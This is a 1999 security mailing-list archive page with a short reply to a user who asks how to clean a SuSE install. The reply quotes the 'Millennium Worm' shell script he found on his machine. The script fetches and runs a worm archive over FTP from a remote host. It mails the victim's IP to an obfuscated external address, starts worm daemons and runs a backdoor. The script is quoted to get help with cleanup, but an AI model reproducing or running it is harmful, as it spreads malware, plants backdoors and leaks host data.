Re: MW

From: Nassar Carnegie (traccat_private)
Date: Sat Sep 04 1999 - 00:33:16 PDT

Next message: Narr0w: "another xploit for netscape 4.6"

Previous message: Aleph One: "Microsoft Security Bulletin (MS99-034)"
Maybe in reply to: Christian Koderer: "MW"
Next in thread: Nir Soffer: "Re: MW"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Was this part of a suse installation?
What distro are you running?

---
Nassar Carnegie
traccat_private

On Wed, 1 Sep 1999, Christian Koderer wrote:

> Knows anybody MW (millennium worm?) and how i get my s.u.s.e
> installation clean?
>
> "#!/bin/.mwsh
> # Millennium Worm by Anonymous
> # If you found this on your machine, but didn't download it
> # well.. you have a problem :)
> export PATH="/bin/:/usr/sbin/:/usr/bin:/sbin:/usr/local/bin:."
> export IP_A=`./IP`
>
> ../prepare for your d00m mortalz
>
> cat << _EOF_ > cmd
> mw
> mw
> mw
> mw
> mw
> /bin/.mwsh -c "/usr/sbin/named" &
> export PATH="/bin/:/usr/sbin/:/usr/bin:/sbin:/usr/local/bin:."
> mkdir /tmp/....
> cd /tmp/....
> if [ -f /tmp/.X12 ]
> then
> logout
> fi
> ftp $IP_A
> mw
>
>
> cd /tmp/....
> get mworm.tgz
> bye
> tar xvzf mworm.tgz
> touch /tmp/.X12
> nohup ./mworm &
> ../IP | mail `printf
> "\x62\x65\x75\x72\x70\x40\x68\x6f\x74\x6d\x61\x69\x6c\x2e\x63\x6f\x6d"`
> logout
> _EOF_
>
> ../mwd &
> ../mwd-pop &
> ../mwd-imap &
> ../mwd-mountd &
> ../mwd-ftp &
> sleep 60
> nohup ./mwd &
> nohup ./mwd-pop &
> nohup ./mwd-imap &
> nohup ./mwd-mountd &
> nohup ./mwd-ftp &
>
> /bin/.mwsh -c ./bd
> "
>

Next message: Narr0w: "another xploit for netscape 4.6"
Previous message: Aleph One: "Microsoft Security Bulletin (MS99-034)"
Maybe in reply to: Christian Koderer: "MW"
Next in thread: Nir Soffer: "Re: MW"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:01:32 PDT